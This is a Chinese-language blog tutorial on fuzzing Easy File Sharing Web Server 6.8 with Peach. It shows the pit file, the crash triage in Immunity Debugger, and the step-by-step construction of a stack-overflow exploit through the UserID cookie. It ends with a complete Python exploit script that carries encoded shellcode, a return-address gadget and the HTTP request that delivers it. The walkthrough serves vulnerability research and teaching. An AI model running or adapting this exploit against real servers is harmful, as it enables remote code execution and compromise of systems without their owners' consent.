事情的起因是在github上闲逛,看到了一篇老外写的讨论协议fuzz的文章(https://blog.techorganic.com/2014/05/14/from-fuzzing-to-0-day/),虽然全是英文,但也浅显易懂,所以想着按照他提供的思路和流程,仔细走一遍
一. 工具:
-
Peach 3.1
-
Immunity Debugger (需要安装一个很好用的python脚本:mona.py)
-
Wireshark (用于验证fuzz发包过程)
-
SocketSniff(用于抓包验证协议过程)
二. 目标:
Easy file sharing web server 6.8
三. 方法论:
安装与使用EFS:
- 选择了在exploit-db上找到了文章中所说Easy file sharing web server 6.8 的栈溢出漏洞的详情(https://www.exploit-db.com/exploits/33352/),下载了对应版本的应用
-
安装后是一个类似于ftp功能的web server,提供文件上传下载的功能。打开应用后首先弹出一个注册对话框,点击”Try it”进入到服务器主页面。事实证明,每次打开该软件都会弹出该对话框,只有关闭了这个对话框服务器才会正常启动。因此在fuzz的时候需要通过代码自动关闭该对话框(本文后续部分会具体提到)
-
打开后的界面如下图所示,显示了服务器的ip地址和访问端口
-
在浏览器中输入服务器ip地址,来到登录界面
-
点击”login as a guest”,便可以方便快速的使用服务器的功能了
了解协议格式:
-
既然要进项协议fuzz,那么首先应该搞清楚和服务器之间的通信协议是怎么样的。随意下载一个可以在应用层进行抓包的软件就可以满足我们的需求,在此我用的是SocketSniff。首先选择需要SoketSniff附加的进程
-
接着进行正常的登录过程,可以看到SocketSniff已经抓到了该过程的数据包
-
打开第3个数据包,具体内容如下:这个数据包是发送至文件上传页面vfolder.php的,其Cookie里有三个字段,分别为SESSEIONID、UserID和PassID,因为我们是匿名登录,所以UserID和PassID这两个字段都位空,这正是我们想要fuzz的点
编写Pit文件进行Fuzz
- 针对该HTTP协议,写出对应的pit文件,使用Peach进行fuzz。最终的pit文件如下:
<?xml version="1.0" encoding="utf-8"?>
<Peach xmlns="http://peachfuzzer.com/2012/Peach" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://peachfuzzer.com/2012/Peach ../peach.xsd">
<DataModel name="DataVfolder">
<String value="GET /vfolder.ghp" mutable="false" token="true"/>
<String value=" HTTP/1.1" mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>
<String value="Accept: " mutable="false" token="true"/>
<String value="image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/x-ms-xbap, application/x-ms-application, */*" mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>
<String value="Accept-Language: " mutable="false" token="true"/>
<String value="zh-cn" mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>
<String value="Accept-Encoding: " mutable="false" token="true"/>
<String value="gzip, deflate" mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>
<String value="If-Modified-Since: " mutable="false" token="true" />
<String value="Fri, 11 May 2012 10:11:48 GMT; length=12447" mutable="false" token="true" />
<String value="\r\n" mutable="false" token="true"/>
<String value="User-Agent: " mutable="false" token="true"/>
<String value="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET4.0C; .NET4.0E)" mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>
<String value="Host: ##HOST##:##PORT##" mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>
<String value="Conection: " mutable="false" token="true"/>
<String value="Keep-Alive" mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>
<String value="Cookie: " mutable="false" token="true"/>
<String value="SESSIONID=2626; " mutable="false" token="true"/>
<!-- fuzz UserID -->
<String value="UserID=" mutable="false" token="true"/>
<String value="" />
<String value="; " mutable="false" token="true"/>
<!-- fuzz PassWD -->
<String value="PassWD=" mutable="false" token="true"/>
<String value="" />
<String value="; " mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>
<String value="\r\n" mutable="false" token="true"/>
</DataModel>
<DataModel name="DataResponse">
<!-- server reply, we don't care -->
<String value="" />
</DataModel>
<StateModel name="StateVfolder" initialState="Initial">
<State name="Initial">
<Action type="output">
<DataModel ref="DataVfolder"/>
</Action>
<Action type="input">
<DataModel ref="DataResponse"/>
</Action>
</State>
</StateModel>
<Agent name="LocalAgent">
<Monitor class="WindowsDebugger">
<Param name="CommandLine" value="C:\EFS Software\Easy File Sharing Web Server\fsws.exe"/>
</Monitor>
<!-- close the popup window asking us to buy the software before running tests -->
<Monitor class="PopupWatcher">
<Param name="WindowNames" value="Registration - unregistered"/>
</Monitor>
</Agent>
<Test name="Default">
<Agent ref="LocalAgent"/>
<StateModel ref="StateVfolder"/>
<Publisher class="TcpClient">
<Param name="Host" value="##HOST##"/>
<Param name="Port" value="##PORT##"/>
</Publisher>
<Logger class="File">
<!-- save crash information in the Logs directory -->
<Param name="Path" value="E:\peach3\efs\LOG"/>
</Logger>
<!-- use a finite number of test cases that test UserID first, followed by PassWD -->
<Strategy class="Sequential" />
</Test>
</Peach>
在此,需要对三个关键地方进行说明:
- pit文件中的##HOST##:##PORT## : 是声明两个变量,该变量是在具体fuzz时由外界提供
- Monitor模块中的PopupWatcher方法:是根据弹窗的title,自动关闭该弹窗
- Strategy是Test模块的子元素,提供了参数Sequential,有序对DataModel中的每一个可变元素进行fuzz
- 使用如下命令:
peach.exe -DHOST=192.168.222.131 -DPORT=80 efs.xml
开启Peach开始对Easy file sharing web server 6.8 进行fuzz
- 整个fuzz过程就开始了,因为是Peach内置的TCP模块自动与服务器进行连接发包,为了搞清楚发包的过程和内容,我尝试着用wireshark抓包进行分析,令我意外的是竟然抓不到包。原来fuzz时发送的包发包地址和目的地址都是本地,是属于本地回环包,并没有进过Wireshark监听的本地网卡,所以抓不到包。解决方法也简单,就是通过命令行增加一条路由表
// 增加一条路由表项 // 192.168.222.131是本机ip ,192.168.222.1 是网关 route add 192.168.222.131 mask 255.255.255.255 192.168.222.1 metric 1
命令生效后,打印查看路由表,可以看到凡是发往192.168.222.131的数据包,均会先发往网关192.168.222.1,这样Wireshark就能抓到数据包了
- 从抓包结果分析,Peach是每次都会变换端口和服务器的80端口建立连接,发送包含畸形数据的HTTP包
- 现在需要做的就是等待。吃过饭回来,发现已经fuzz出了一堆crash
崩溃文件分析与Exp脚本编写
- 在此Peach调用msec.dll已经根据崩溃现场将crash的利用程度进行了划分,一般情况下,我们只关注EXPLOITABLE文件夹内的crash。打开一个crash文件,发送的数据包中对UserID字段进行了fuzz,填充了很多个’A’,导致服务器处理该数据包时发生了crash
-
崩溃现场如下图所示: 由上图可以看到,发生问题的指令是 call dword ptr[edx+28h],因为 edx+28h 是一个不可访问的地址,所以发生了程序异常退出。再来看看寄存器,此时edx寄存器已经被填充成立0x41414141,也就是被我们的输入可以控制edx的值,由于当前指令为 call dword ptr[edx+28h],我们也就间接的控制了eip的值,劫持了程序运行流
- 接下来就进入到写利用的环节。我们首先通过python的socket模块进行编程,来模拟发包过程
import socket import struct target = "192.168.222.131" port = 80 payload = 'A'*1000 buf = ( "GET /vfolder.ghp HTTP/1.1\r\n" "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/x-ms-xbap, application/x-ms-application, */*\r\n" "Accept-Language: zh-cn\r\n" "Accept-Encoding: gzip, deflate\r\n" "If-Modified-Since: Fri, 11 May 2012 10:11:48 GMT; length=12447\r\n" "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET4.0C; .NET4.0E)\r\n" "Host: 192.168.222.131:80\r\n" "Conection: Keep-Alive\r\n" "Cookie: SESSIONID=2626; UserID=" + payload + "; PassWD=; \r\n\r\n" ) s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((target,port)) s.send(buf) s.close()
- 打开Immunity debugger,附加到fsws.exe上。因为从发生崩溃的指令地址为 0x0045c8c2,所以在此设置一个断点
- 运行python程序进行发包,程序成功的断在了断点处,F9继续运行,当第四次执行该条指令时,此时的edx被覆盖为0x41414141,esi和edi的值均指向了栈上可以被覆盖的地方
- 首先确定需要多少字节才能精准覆盖到edx,使用Immunity debugger的mona插件很容易计算出offset为80.
payload = 'A'*80 + 'B'*4 + 'C'*1000
- 因为在xp上,并未开启ASLR和NX,所以shellcode可以放到栈上进行执行。因为ESI又指向栈上地址,所以就想首先控制eip到”call esi”或者”jmp esi”这样的指令上去。寻找这样的指令也很简单,首先“alt+E”列出加载的DLL模块。因为payload中不能出现’\x00’,所以找了一个基地址为0x10000000地址的DLL
- 双击进入到该模块,右键 –> Search for –> All command,查询”call esi”指令,从中选中一条不包含’\x00’的:0x1001b371
- 此时payload构造如下
payload = 'A'*80 + struct.pack("<I", 0x019b68d4) + struct.pack("<I", 0x1001b371) + 'C'*1000
如下图所示,此时已经顺利跳转到了”call esi”指令处,但是此时esi指向栈上的0x019b68e8位置,其下四个位置处即是覆盖edx的数据,不能允许被覆盖。如果shellcode放到0x019b68e8 这个地址,那么shellcode的空间只剩下可怜的16个字节。
- 为了解决这个问题,我们在这16个字节处放置过渡指令,即增大esi的值,然后再跳转过去执行。“add esi,0x18 ; jmp esi”。使用mona的汇编功能,进行汇编转机器码非常方便
!mona assemble -s add esi,0x28
- 使用这条指令是行不通的,因为指令的机器码中包含了可恶的”\x00”。可以用“sub esi,-0x18”来代替
!moona assemble -s sub esi,-0x28
- 所以此时payload构造如下。如下图,成功执行到调整指令,“jmp esi”时,esi已经指向了我们想要的广阔的栈空间
payload = "A"*64 + "\x81\xee\xe8\xff\xff\xff" + "\xff\xe6" payload = payload.ljust(80,"A") payload += struct.pack("<I", 0x019b68d4) + struct.pack("<I", 0x1001b371) + “DDDD” + "C"*1000
- 将payload中”DDDD”的位置换做shellcode就大功告成了
import socket
import struct
target = "192.168.72.130"
port = 80
shellcode = (
"\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +
"\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +
"\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +
"\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +
"\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +
"\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +
"\x1c\x39\xbd"
)
payload = "A"*64 + "\x81\xee\xe8\xff\xff\xff" + "\xff\xe6"
payload = payload.ljust(80,"A")
payload += struct.pack("<I", 0x019b68d4) + struct.pack("<I", 0x1001b371) + shellcode
buf = (
"GET /vfolder.ghp HTTP/1.1\r\n"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/x-ms-xbap, application/x-ms-application, */*\r\n"
"Accept-Language: zh-cn\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"If-Modified-Since: Fri, 11 May 2012 10:11:48 GMT; length=12447\r\n"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET4.0C; .NET4.0E)\r\n"
"Host: " + target + ":80\r\n"
"Conection: Keep-Alive\r\n"
"Cookie: SESSIONID=2626; UserID=" + payload + "; PassWD=; \r\n\r\n"
)
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,port))
s.send(buf)
s.close()